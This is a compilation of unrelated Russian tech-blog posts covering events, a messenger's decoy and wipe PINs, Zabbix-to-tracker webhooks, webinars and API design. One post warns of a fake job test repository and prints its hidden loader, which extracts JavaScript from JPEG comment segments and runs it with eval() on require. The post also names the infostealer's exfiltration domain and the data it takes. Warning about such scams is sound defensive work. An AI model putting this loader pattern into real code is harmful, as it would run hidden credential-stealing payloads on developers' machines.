700 рублей - цена ланча. А внутри: – живая трансляция 2 лабораторных в месяц (Лабораторная по мониторингу уже в это воскресенье!) – личная виртуальная машина со всеми скриптами для развёртывания стека лабораторной – записи всех прошедших лабораторных - по Docker, Kubernetes и не только
Для сравнения: подобный формат в крупных школах стоит от 3 до 6 тысяч с участника.
Почему так? Мы верим, что качественное обучение должно быть доступным и должно слышать свою аудиторию. И что расти проще там, где саморазвитие и взаимопомощь идут бок о бок - становясь личным драйвером для каждого.
4 июня собираемся с мобильными разработчиками в атмосфере любимых фэнтези и настольных ролевых игр — на Alfa Mobile D&D party. Впереди приключение для истинных авантюристов: объединяйтесь в отряды и открывайте секреты башни.
Друиды поделятся мудростью:
С техническим лидером Android-разработки Виталием Перятиным обсудим, что на самом деле под капотом у MCP. Спойлер: всё просто
С ведущим iOS-разработчиком Петросом Тепояном погрузимся в мир ИИ-разработки и приключений, или Туда и обратно
Завершим игру вечеринкой. Советуем подумать над образом своего персонажа: за 3 лучших подарим подарки!
Где: в секретном баре в Москве. Локацию пришлём с соколом в письме.
Представлен открытый репозиторий Knowledge Work Plugins с 11 плагинами для Claude, которые выполняют обязанности огромного списка современных профессий:
Маркетинг, продажи, торговые операции и финансы. Контроль текущей деятельности компании.
Вы попали в следующую ситуацию: граница, проверка, оператор просит разблокировать телефон. Отказаться нельзя или невыгодно. Что можно?
Стандартные ответы у мессенджеров слабые. Обычный app-lock PIN открывает то же приложение, под принуждением бесполезен. «Удалить аккаунт по PIN» лучше, но видно что что-то стёрто. Облачные TTL текущий запрос не закрывают.
В RCQ сделали по-другому. Локальная история шифруется AES-256-GCM, ключ выводится из PIN’а через PBKDF2-HMAC-SHA256 на 400к раундов с per-install salt в keychain. Разные PIN’ы открывают разные хранилища.
400к раундов это около секунды CPU на iPhone, достаточно медленно чтобы offline-bruteforce был дорогой. Но реальная защита это длина PIN’а: 4-значный перебирается за десятки минут на M-чипе, 8-значный за месяцы. Default 6-8 символов.
Четыре режима
Real PIN - открывает реальный аккаунт.
Decoy PIN - открывает отдельный аккаунт с собственным UIN и SQLite. Не пустой экран (пустой это сигнал), а правдоподобно освоенный: пара контактов, несколько сообщений.
Wipe PIN - тихо стирает оба SQLite, чистит keychain, дёргает DELETE /auth/account. Без подтверждений и прогресс-баров. Через 3 секунды приложение перезапускается как свежеустановленное.
Biometric - опциональная вторая дверь к real. Не совмещается с decoy/wipe (скорее для удобства).
Честно про границы
Защищает от: казуального осмотра, принуждённой разблокировки, ситуации «5 секунд до того как заберут».
Не защищает от: forensic-лаб с offline-bruteforce’ом короткого PIN’а, jailbroken устройства с активным debugger’ом, человека рядом который видел как вы вводите PIN (разумеется).
Threat model правильный: «есть несколько секунд до того как кто-то откроет приложение, дальше я не контролирую устройство». Для «forensic с неограниченным временем» нужны другие инструменты. Главное из них: не пользоваться телефоном для чувствительных переписок вообще.
Стек живёт в RCQ, открытая бета на iOS. Код открытый: github.com/rcq-messenger/rcq-ios. Про маскировку самого факта установки приложения будет отдельно.
Представлен открытый проект Magic Resume, который собирает весь опыт пользователя и портфолио в единое резюме:
достаточно только скинуть сервису информацию — опыт, портфолио и немного данных о себе. На выходе получите идеальное резюме со всеми ключевыми словами для ИИ‑скрининга и прочих программ;
резюме можно составлять под конкретную позицию и его точно увидит живой рекрутер, а не забракует бездушная машина;
добавляет анимации, кастомные темы и плавные переходы;
адаптирует резюме под ПК, планшеты и другие мобильные устройства;
можно экспортировать резюме в PDF и кидать документом;
Кажется, на свой День Рождения Хабр случайно сделал не вечеринку, а машину времени.
Причём не в детство даже. А в какое‑то очень тёплое состояние, по которому мы все, похоже, страшно соскучились.
Без «успешного успеха». Без попытки выглядеть лучше, дороже и продуктивнее друг друга. Просто люди, просто летний вечер и ощущение той самой беззаботности, по которой мы все скучаем
И, возможно, главный гений вечера — дресс‑код «дача». 😄
Потому что как только взрослые серьёзные IT‑люди надевают рваные джинсы, старые футболки и резиновые сапоги — между ними моментально исчезает половина социальных конструкций.
Ты больше не «руководитель направления». Не «владелец продукта». Не «эксперт по сложным архитектурным решениям».
Ты человек, который пришёл к друзьям на дачу. И внезапно всем становится легко.
А дальше пазл атмосферы собирался уже из деталей
📸 Polaroid‑снимки на общей стене 🚗 легендарная Ока, возле которой весь вечер была очередь 🥃 бар с настойками и самогонным аппаратом 🐟 шпроты, сало и гастрономический флешбек в детство
А на фоне любимая музыка детства и юности: Жуки, Animal Jazz, Сплин, «Утиные истории» и «Чёрный плащ».
И в какой‑то момент ловишь себя на мысли: кажется, люди сегодня устали не от работы. Люди устали от постоянной необходимости быть «собранной версией себя».
И именно поэтому такие вечера становятся чем‑то сильно большим, чем просто мероприятие. Они возвращают ощущение нормальной человеческой близости.
P. S. Похоже, мне теперь хочется чаще писать в своем ТГ канале не только про выступления, но и про такие человеческие моменты тоже ✍️
Включаем пространственный звук в Discord. Подробное руководство, как включить новую опцию. С ней все участники канала будут звучать так, будто они сидят в одной комнате:
Как я связал Zabbix и таск-трекер в обе стороны без отдельного сервиса У меня боевой Zabbix 7.0 на ~260 хостов, а заявки дежурной смены живут в Planfix. Уведомления в Telegram или Matrix никто не отменял, но когда над инцидентами работает смена, мессенджер неудобен: не видно, кто взял проблему, нет статусов и истории по задаче, сложно готовить отчеты. Хотелось, чтобы проблема мониторинга сама заводила задачу в трекере, а действия с задачей возвращались обратно в Zabbix, и всё это без сервиса-прослойки.
Очевидные пути отмёл сразу:
Бот или демон - ещё один процесс, который сам надо мониторить: новая точка отказа в системе, которая как раз следит за отказами.
Почта с парсером - не возвращает id созданной задачи обратно в Zabbix, и потом нечем связать восстановление триггера с конкретной строкой в трекере.
Требование «вернуть id задачи на событие» и определило всю архитектуру.
Прямое направление: Zabbix → трекер Собрал на штатном media type типа Webhook: один JS-скрипт по флагам события решает, какой эндпоинт трекера дёрнуть. Интереснее, где хранить связь «проблема ↔ задача». Внешнюю БД соответствий заводить не стал, обошёлся тегами события. При создании задачи скрипт возвращает Zabbix теги __zbx_planfix_taskid и __zbx_planfix_link; при process_tags=1 они вешаются на событие, и все последующие операции (подтверждение, закрытие, отмена) находят ту же задачу по тегу. Состояние живёт прямо на событии, отдельное хранилище не нужно.
Что всплыло уже в бою: отмена эскалации Уведомление «Escalation canceled» (эскалацию погасили, отключив хост или триггер) приходит с теми же флагами, что и новая проблема: event_value=1, event_update_status=0. Не различишь - скрипт примет отмену за новую проблему, заведёт дубль, и задача зависнет открытой навсегда: OK-события не будет, закрывать нечем. Поэтому скрипт сначала ищет в тексте уведомления фразу «Escalation canceled» и, только если её нет, считает событие новой проблемой. Подтверждение и снятие различаю по макросу {EVENT.UPDATE.ACTION}: в первой строке update-сообщения он разворачивается в acknowledged или unacknowledged - по этому слову задача уходит «в работу» или возвращается исполнителю по умолчанию.
Обратное направление - и оно оказалось самым интересным Делается средствами самого трекера, без отдельного сервиса. В Planfix это автоматический сценарий: событие «задача принята», условие «проект = ZABBIX», операция - POST в JSON-RPC API Zabbix, метод event.acknowledge с action=6 (подтвердить + добавить комментарий). Event ID берётся из поля задачи, того самого, что прилетел при создании. Главное: обратный вызов несёт email сотрудника, и подтверждение с комментарием проставляются в Zabbix от имени этого человека, а не безликого сервисного аккаунта. В истории события видно, кто реально взял проблему - тот, на кого назначена задача в трекере.
Что ещё пришлось учесть
maxsessions=1 обязателен, иначе закрытие может обогнать создание, и правка придёт по ещё не существующей задаче.
Создание задачи не идемпотентно: при ретраях возможен дубль (из Zabbix не узнать, дошёл ли запрос на самом деле), поэтому дедуп по event_id на стороне трекера обязателен - у меня он пока в планах.
Шумовой фильтр - через эскалацию: операция на шаге 2 плюс условие «подтверждено = нет», иначе проблемы, мигающие по 30 секунд, плодят задачи.
Итог: ноль дополнительных демонов, обе системы синхронны, связь хранится на самом событии. Для одной пары систем это окупается. Но чем больше разных систем хочется соединить между собой, тем громче вопрос об оркестраторе: точечные вебхуки перестают масштабироваться, хотя единая шина и есть та самая прослойка, которую потом сам обслуживаешь. Сейчас как раз думаю в эту сторону. Чем вы сшиваете зоопарк систем - оркестратором или точечными интеграциями, и где у вас прошла граница?
Снова редкий случай – книга очень приятно обманула мои ожидания. Я много про неё слышал, но всегда одно и то же, а на деле – она про другое.
Ждал, что она будет про маркетинг или инновации, создающие принципиально новые рынки (именно такое мнение создали те, кто рассказывал мне об этой книге). Ну там, про Стива Джобса, Илона Маска и прочих визионеров, создающих то, чего раньше не было.
На деле книга оказалась о том, что написано в её названии – о стратегии. О её разработке, проверке, реализации (да, там большой и хороший раздел про имплементацию изменений).
Я – большой любитель стратегий, и всего с ними связанного. А все мои знакомые – нет. Наверное, поэтому мы так по-разному эту книгу поняли. Ввиду того, что хороших книг по стратегии – раз, два и обчёлся, «голубой океан» сразу стал бриллиантом моей «стратегической» коллекции.
Основная тема книги (создание голубых океанов) оказалась очень и очень реалистичной. Там не про создание чего-то принципиально нового, и вообще не про создание, визионерство и т.д. (опять холостой выстрел ожиданий). Книга про понимание клиентов и выявление неизвестного и неудовлетворённого спроса.
И спрос этот – неудовлетворённый – находят на вполне себе существующих рынках и известных продуктах. Точнее – его именно там и находят. Искать надо не снаружи, а внутри. Не расширять, а углублять.
Собственно, вот вкратце и вся стратегия голубых океанов. И как стратегия она – гениальна. Не мучайте мозг, ища принципиально новое. Лучше с клиентами поговорите. Мой опыт работы в сфере IT-услуг говорит, что разговор с клиентами об их проблемах – последнее, чем занимаются менеджеры 😊.
Эта книга очень хорошо сочетается с «Третьей альтернативой» Стивена Кови – они об одном и том же, если в суть вглядеться. О том, как находить решение между уже известными вариантами. Именно между – в этом вся фишка.
Напоследок добавлю: я тоже пишу книгу по продажам. Точнее, по организации работы всей цепочки, с ориентацией на продажу. И у меня схожие с «голубыми океанами» принципы. Буду третьим 😊.
Учёные дали задание примерно 8000 человек в 40 странах, которое было невозможно выполнить за пять минут. На графике представлен показатель честности: столько людей соврали (решили не выполнять полностью таск), что всё-таки сделали задачу. Больше всего о этом сообщили в США, Британии и Германии.
Когда появился термин Web3, его подавали почти как следующую эволюцию интернета: децентрализация, цифровая собственность, кошельки вместо аккаунтов, отсутствие посредников и контроль пользователя над своими данными.
Проблема в том, что спустя несколько лет Web3 так и не стал массовым в том виде, в котором его представляли. Да, индустрия выросла. Появились DeFi, NFT, DAO, стейблкоины, on-chain экономика и огромная инфраструктура вокруг блокчейнов. Но обычный пользователь по-прежнему редко хочет разбираться в seed-фразах, gas fee, bridge, сетях и формате адресов.
Именно поэтому всё чаще возникает другой вопрос: а что вообще будет после Web3 и существует ли какой-то “Web4”?
На практике проблема Web3 оказалась не столько технологической, сколько пользовательской. Web3 отлично решает вопрос владения активом, но пока плохо решает вопрос удобства. Для массового пользователя Web2 всё ещё проще: зашёл через Google-аккаунт, нажал пару кнопок — и сервис работает. В Web3 пользователь часто становится одновременно и банком, и службой безопасности, и технической поддержкой для самого себя.
Именно поэтому всё больше обсуждений сейчас крутится вокруг идеи, что следующая стадия интернета будет строиться не только вокруг блокчейна, но вокруг сочетания сразу нескольких вещей: AI, identity, автоматизации, intent-based интерфейсов и invisible infrastructure.
Если упростить, Web3 пытался сделать пользователя владельцем инфраструктуры. А условный “Web4”, о котором начинают говорить сейчас, скорее пытается сделать инфраструктуру невидимой для пользователя вообще.
Например, сегодня человек должен понимать:
в какой сети находится актив какой gas использовать как работает bridge что такое approve почему транзакция не проходит
Для массового рынка это слишком высокий порог входа.
Следующий этап, скорее всего, будет выглядеть иначе: пользователь просто формулирует действие, а инфраструктура сама решает, в какой сети провести операцию, как подписать транзакцию, откуда взять ликвидность и как оптимизировать маршрут.
По сути, Web4 в текущем понимании — это не “новый интернет после блокчейна”, а попытка спрятать сложность Web3 под нормальный пользовательский опыт.
Парадокс в том, что большинство технологий Web3, вероятно, останутся внутри системы, но перестанут быть видимыми. Как сегодня человек пользуется банковским приложением, не думая о том, через какие протоколы проходят его данные.
Отдельный интерес здесь добавляет AI. Если Web3 был про ownership и decentralization, то следующий этап может оказаться про AI-агентов, которые будут взаимодействовать с цифровой инфраструктурой вместо человека: управлять кошельками, искать ликвидность, совершать сделки и даже взаимодействовать с DAO или DeFi-протоколами автоматически.
Именно поэтому вопрос “что будет после Web3?” сейчас всё чаще звучит не как футуризм, а как вполне практическая проблема индустрии.
Потому что технология уже стала достаточно сложной. И следующий этап её развития, скорее всего, будет связан не с ещё большей сложностью, а наоборот — с попыткой скрыть её от пользователя полностью.
Как снизить расходы на GPU в 2,5 раза и не потерять в производительности
Пока одни учат промпты, другие переписывают архитектуру ML-систем. Главная боль сегодня — не качество моделей, а экономика инференса и обучения. Разбираем свежие подходы к оптимизации GPU-часов и построению агентских систем на проде.
По данным Selectel, в майском ML-дайджесте собраны кейсы, где команды добились экономии GPU-времени в 2,5 раза без деградации метрик. Это не про тюнинг гиперпараметров — речь о пересборке inference-пайплайнов и переходе от монолитных моделей к композитным системам.
Уход ИИ в бэкенд: что это меняет
Индустрия смещается от фронтенд-интеграций к серверным агентам. Автономные агенты теперь живут в бэкенде, обрабатывают запросы асинхронно и требуют новых подходов к мониторингу и отказоустойчивости. Это не просто модный тренд — это ответ на latency и стоимость API-вызовов в реальном времени.
Ключевой момент: агенты на проде требуют переосмысления классических паттернов. Нужны механизмы откатов, версионирование промптов как кода, логирование цепочек рассуждений. Без этого отладка превращается в ад.
Новые стандарты агентских систем
Появляются попытки стандартизировать архитектуру агентов. Пока это не RFC-уровень, но сообщество сходится на общих паттернах: разделение планирования и выполнения, явное управление контекстом, изолированные инструменты с чёткими контрактами.
Планировщик и исполнитель как отдельные компоненты
Контекстное окно как ограниченный ресурс — управляем явно
Инструменты агента с типизированными входами/выходами
Логирование промежуточных шагов для отладки
Это не серебряная пуля, но хотя бы появляется общий язык для обсуждения архитектуры. До сих пор каждая команда изобретала велосипед.
Что в итоге
Экономия GPU достигается не магией, а инженерной работой: батчинг запросов, кэширование эмбеддингов, выбор правильного размера модели под задачу. Агентские системы перестают быть экспериментом и переходят в продакшн, но для этого нужна инфраструктура, а не просто обёртка над API.
Ограничения остаются: непредсказуемость поведения агентов, сложность отладки, отсутствие зрелых инструментов мониторинга. Стандарты только формируются, и сейчас это больше про обмен опытом, чем про готовые решения из коробки.
Клиентский сервис в CRM: как сделать сервисную службу источником прибыли и лояльности клиентов
В крупных компаниях сервис давно перестал быть только операционной функцией — сегодня он напрямую влияет на удержание клиентов, повторные продажи и выручку компании. Именно поэтому сервисные процессы важно автоматизировать. Выстраивание клиентского сервиса внутри CRM помогает не только управлять выездными сотрудниками, SLA и документооборотом, но и превращает сервис в полноценную часть клиентской воронки, где каждый контакт с клиентом становится точкой для развития отношений и дополнительных продаж.
На вебинаре покажем, как мы организуем полный цикл сервисного обслуживания для наших заказчиков в Битрикс24. Разберём реальные процессы и необходимые настройки CRM, продемонстрируем функционал системы и расскажем:
— почему клиентский сервис — это важная часть CRM-автоматизации; — какие процессы сервисного обслуживания можно автоматизировать в CRM; — как вести ПНР, гарантийное, техническое и негарантийное обслуживание в единой системе; — как планировать выезды и формировать маршрутные листы с учётом географии, загрузки и типа работ; — как автоматически назначать сервисных инженеров по компетенциям и территории; — как инженеры работают через веб и мобильный интерфейс: фиксируют работы, добавляют фото, материалы, формируют акты и получают подписи клиентов; — как организовать документооборот без возврата сотрудников в офис; — в каких случаях достаточно штатной функциональности мобильного приложения, а когда требуется дополнительная; — как руководителю контролировать сроки, загрузку команды и качество выполнения работ.
Отдельный блок посвятим демонстрации сквозного процесса в CRM: от создания заявки и назначения инженера до отчётов и закрывающих документов. Вы увидите, как это выглядит для руководителя и для сервисного сотрудника в ежедневной работе.
Также разберём реальный кейс автоматизации сервисных выездов для крупной компании с распределённой полевой командой: как удалось объединить планирование, учёт работ и документооборот в едином окне и сократить время на подготовку отчётности.
И конечно ответим на все вопросы!
Вебинар будет полезен: • руководителям сервисных служб; • коммерческим директорам; • техническим директорам; • руководителям отделов эксплуатации; • руководителям компаний с выездными инженерами и сервисными командами.
⚠️ Скам через Хабр Карьеру: «тестовое задание» fullstack-вакансии содержит инфостилер
Привет, Хабр. Короткий пост-предупреждение.
Получил отклик на Хабр Карьере на вакансию fullstack-разработчика заграницу, оклад 4-5к$/мес. Его аккаунт на Хабр Карьера Общение переводят в Telegram, на аккаунт @capdice. Прислали репозиторий с «тестовым заданием»: компания Suarts (домен suarte.art), репозиторий, задача — «интегрировать криптоплатёжный сервис».
С виду — обычный Node.js + React монорепо. Само задание безобидное. Подляна — в остальной части репо.
Два артефакта:
server/back.jpg — выглядит как JPEG, но в сегментах 0xFFFE (COMMENT-маркер) лежит ~270 КБ обфусцированного JavaScript.
server/app/services/log.service.js — функция addLogsForAssets читает JPEG, вытаскивает COMMENT-сегменты и прогоняет через eval(). Вызов на верхнем уровне модуля — выполняется при каждом require() сервиса, до подключения к БД.
function addLogsForAssets(imgPath) {
const imlog = fsr.readFileSync(imgPath);
let i = 2;
const chunks = [];
while (i < imlog.length) {
if (imlog[i] !== 0xFF) break;
const marker = imlog[i + 1];
const length = imlog.readUInt16BE(i + 2);
if (marker === 0xFE) { // JPEG COMMENT marker
const data = imlog.subarray(i + 4, i + 2 + length);
chunks.push(data);
}
i += 2 + length;
}
eval(Buffer.concat(chunks).toString('utf8')); // ← payload
return true;
}
addLogsForAssets(pathr.join(process.cwd(), 'back.jpg'));
Payload эксфильтрует на cookieshop.cloud/uploads профили Chrome / Opera / Yandex, Windows AppData, macOS Keychain. Подкачивает портативный Python с github.com/indygreg/python-build-standalone/releases/ (подготовка к запуску Python-стилера) и запускает скрытый дочерний процесс через spawn(..., {detached: true, windowsHide: true}). Классический браузерный инфостилер: пароли, куки, токены.
Чек на будущее. Тестовые задания от непроверенных работодателей — только в одноразовой ВМ. eval() над содержимым файла — никогда не легитимный паттерн. Картинки в папках бэкенд-сервисов — красный флаг (file back.jpg, strings back.jpg | head).
На паттерн указал Claude Code при первичном проходе. AI для security-аудита неизвестного кода — рабочая практика.
Видели тот же back.jpg, cookieshop.cloud или @capdice — напишите.
Более быстрый способ ловить подобные алерты - мой канал
Почему API переписывают через полгода и как этого избежать
Жесткие дедлайны заставляют жертвовать проектированием API ради скорости запуска. Через полгода структура данных не соответствует реальным потребностям, а каждое изменение вызывает регрессию. Разбираем, что идет не так и как закладывать гибкость на старте.
Запуск нового сервиса обычно проходит в условиях жестких дедлайнов и давления бизнеса. Приоритет — скорость, архитектура API откладывается на потом. Результат предсказуем: через полгода структура эндпоинтов не вписывается в логику продукта, интеграции становятся хрупкими, документация расходится с кодом.
Команда оказывается в ловушке технического долга. Новые функции не ложатся на существующую архитектуру, любое изменение ломает смежные модули, а страх регрессии парализует развитие. Проблема не в квалификации разработчиков или выборе фреймворка — причина в пропуске этапа системного проектирования.
Что ломается первым
Отсутствие контракта между клиентом и сервером — главная причина хрупкости. Когда API проектируется по принципу «сделаем быстро, потом поправим», возникают системные проблемы:
Эндпоинты перегружены логикой — один метод делает слишком много, изменить его без побочных эффектов невозможно.
Структура данных меняется без версионирования — клиенты ломаются на продакшене после деплоя.
Нет единого источника истины для схемы — документация устаревает, разработчики полагаются на догадки.
По данным исследования Postman State of the API 2023, 40% команд тратят больше времени на исправление проблем интеграции, чем на разработку новых функций. Основная причина — отсутствие контракта на этапе проектирования.
Как закладывать гибкость на старте
Системное проектирование API не означает месяцы планирования. Речь о базовых принципах, которые экономят время в будущем:
Определите схему данных до первой строки кода. OpenAPI, JSON Schema или Protocol Buffers — инструмент вторичен, важен контракт между клиентом и сервером. Схема становится единым источником истины и основой для автогенерации кода.
Версионируйте с первого дня. Даже если изменения пока не нужны, структура для версий (через URL, заголовки или content negotiation) должна быть заложена сразу. Переход на версионирование постфактум болезненен.
Проектируйте эндпоинты под бизнес-операции, а не под таблицы базы. CRUD удобен для прототипа, но быстро показывает ограничения. Операции вроде «подтвердить заказ» или «пересчитать баланс» должны быть явными методами, а не набором UPDATE-запросов.
Закладывайте безопасность в архитектуру. Авторизация, валидация входных данных, rate limiting и логирование — не опциональные доработки, а часть контракта. Добавление их потом ломает обратную совместимость и усложняет интеграции.
Trade-offs, о которых молчат
Системное проектирование API требует времени на старте. Это замедляет первый релиз — вместо недели уходит две. Но уже через квартал экономия становится очевидной: меньше правок, стабильные интеграции, отсутствие срочных патчей из-за несовместимых изменений.
Основной риск — переусложнение. Попытка предусмотреть все сценарии приводит к раздутым схемам и избыточной абстракции. Баланс достигается через фокус на реальных бизнес-требованиях, а не гипотетических расширениях.
API, спроектированное с учетом версионирования, контракта и безопасности, масштабируется без переписывания. Вопрос не в том, найдется ли время на проектирование сейчас — вопрос в том, сколько времени уйдет на устранение последствий его отсутствия через полгода.
РБПО по ГОСТ Р 56939—2024: вебинар №18 из 30 — Функциональное тестирование
Предлагаю вашему вниманию запись вебинара, где мы разбираем безопасную разработку ПО. Вебинар посвящен процессу из раздела 5.18. – "Функциональное тестирование". На YouTube. Слайды.
Цели 18-го процесса по ГОСТ Р 56939—2024:
Контроль полноты реализованных функциональных возможностей, обнаружение и исправление ошибок с использованием технологий функционального тестирования.
Общее количество вебинаров — 30. Каждому из 25 процессов ГОСТа посвящён отдельный вебинар и ещё 5 записано дополнительно на смежные темы. Запись всех вебинаров и подборка дополнительной информации доступна по ссылке: ГОСТ56939.РФ.
Цикл вебинаров проведён компанией ООО "ПВС" совместно с учебным центром "Маском". Организаторами выступили Андрей Карпов и Виталий Пиков. Совместно с приглашёнными экспертами различных компаний мы рассмотрели 25 процессов, приведённых в ГОСТ Р 56939—2024.
P.S. ООО "ПВС" регулярно проводит вебинары и подкасты, и не только по теме РБПО :) Приглашаем желающих принять в них участие как в качестве зрителей, так и в качестве экспертов.
Почему переводить запросы к нейросети полностью на английский — плохая идея.
Многие думают: «База знаний модели на английском, значит, и спрашивать надо на нём, чтобы она лучше поняла». Это серьёзная ошибка, если ответ вам нужен всё равно на русском.
Смешанный подход (русская основа + точечные английские термины) даёт результат куда лучше, чем сплошной английский.
Вот четыре причины:
Нейросеть тратит силы на перевод, а не на суть ответа
Если запрос на английском, модель «думает» по-английски. А когда ей нужно выдать русский ответ, она начинает переводить собственные мысли. Ресурс, который должен был пойти на логику и глубину, уходит на банальный подбор слов. Итог: текст звучит как машинный перевод, а не живая речь. Русская основа гарантирует, что иИ сразу мыслит в нужном направлении.
Точные термины включают нужные знания
Лучшие технические статьи и разборы ошибок в индустрии написаны на английском. Слова вроде edge cases (граничные случаи) или trade-offs (компромиссы) работают как ключи, открывающие доступ к самой качественной базе знаний. Их русские аналоги часто уводят модель в скучные учебники или кривые переводы документации. Английский нужен только там, где нет точного и ёмкого русского аналога.
Запрет на воду и лебезение работает только на родном языке
Если вы хотите отучить модель от фраз вроде «Отличный вопрос!» и «Буду рад помочь», писать запрет нужно по-русски. Английское указание avoid sycophancy (избегай подхалимства) не сработает, потому что русские слова-паразиты просто не попадут в её стоп-лист. Инструкции по стилю и тону общения всегда должны быть на языке итогового ответа.
Кривой синтаксис и канцеляризм
Когда модель генерирует русский текст из английского запроса, она часто тащит за собой чужую грамматику. Появляются неестественные причастные обороты и канцеляризм («осуществляется обработка данных» вместо простого «обрабатываем данные»). Русский запрос сразу задаёт правильную структуру: короткие, чёткие и живые предложения.
Формула успеха проста. Русский язык задаёт правила игры, структуру и тон. Английский внедряется точечно, только для специфических технических терминов. Переводить запрос целиком, значит своими же руками снижать качество ответа.
Свой ML-завод: что дает собственная ML-платформа и как ее запустить
Большинство корпоративных ИИ-пилотов не дают измеримых результатов. Не из-за моделей, из-за инфраструктурного хаоса вокруг них.
Специалисты тратят время на подготовку данных и настройку окружения вместо экспериментов. Стек собирается из разрозненных инструментов, интеграция съедает месяцы, видеокарты простаивают и сжигают бюджет. А поверх всего — ужесточение требований к субъектам КИИ и приближающиеся сроки перехода на отечественное ПО.
На вебинаре разберем, как выстроить нормальный процесс разработки ИИ — от загрузки данных до обучения моделей на кластере видеокарт. Покажем, как платформа Evolution Stack.ML от Cloud.ru превращает этот хаос в работающий ML-завод: готовые сервисы убирают месяцы интеграций, единое управление наводит порядок в инфраструктуре, а развертывание внутри контура закрывает требования регуляторов.
Будет полезно специалистам по данным и ML-инженерам, руководителям команд, ИТ-архитекторам, DevOps-инженерам, специалистам по ИБ, техническим и ИТ-директорам.
Что обсудим:
почему ИИ-проекты не взлетают: разрозненные инструменты, простой GPU и другие грабли;
во сколько на самом деле обходится машинное обучение (спойлер: затраты на видеокарты лишь вершина айсберга);
три пути к ML-платформе и скрытые ловушки каждого из них: облако, самостоятельная сборка на базе решений с открытым кодом, готовый продукт;
когда локальное развертывание дешевле облака — и почему это работает не всегда;
в каких отраслях платформа внутри контура необходима и какие задачи она закрывает;
как устроена Evolution Stack.ML и зачем нужны рабочие пространства.
В практической части покажем:
как создать рабочее пространство и подключить внешние источники данных;
как запустить Jupyter-сервер на готовом образе — от выбора образа до открытия среды разработки;
весь путь от первого запуска до распределенного обучения на нескольких GPU;
как отслеживать метрики прямо из интерфейса платформы.
📅 2 июня в 11:00 мск 📍 Онлайн. Зарегистрируйтесь, чтобы задать вопросы спикеру в прямом эфире.
Свежие задачи для 1С-специалистов на Бирже заказов Инфостарта
На Бирже заказов появились новые задачи для разработчиков и консультантов 1С. В подборке — заказы, размещенные с 20 по 27 мая: доработки обработок, настройка обменов, интеграция с «Честным Знаком», задачи по маркировке, ЗУП, УТ, ERP, КА и даже 1С 7.7.
Биржа заказов Инфостарта помогает быстро найти исполнителя под задачи по 1С: от разовой консультации до доработки конфигурации, настройки обмена, интеграции с внешними сервисами или сопровождения проекта.
Для заказчиков доступны прямой обмен контактами, работа без комиссии, рейтинги исполнителей и безопасная сделка по желанию.
Как подружить ИБ и разработку через командные топологии: вебинар с разбором реального кейса
Разработке важно быстро выпускать изменения, а ИБ-командам — снижать риски и соблюдать требования безопасности. На практике это часто приводит к тому, что проверки начинают тормозить релизы, а взаимодействие между командами превращается в бесконечные согласования.
Один из способов решить проблему — посмотреть не только на инженерные практики, но и на устройство и взаимодействие самих команд. Метод командных топологий помогает выстроить работу так, чтобы ИБ была частью потока поставки, а не контролирующим контуром. На вебинаре 5 июня техлид «Экспресс 42» разберёт:
как связаны оргструктура команд, коммуникации между ними и архитектура разрабатываемых систем;
как использовать командные топологии для анализа вашей текущей модели взаимодействия;
как выглядит применение подхода на реальном проекте: от исходной ситуации до рекомендаций по изменениям и ожидаемого эффекта.
Регистрируйтесь и подключайтесь 5 июня в 12:00 (МСК), чтобы узнать, как командные топологии помогают снизить конфликтные ситуации и ускорить поставку изменений.
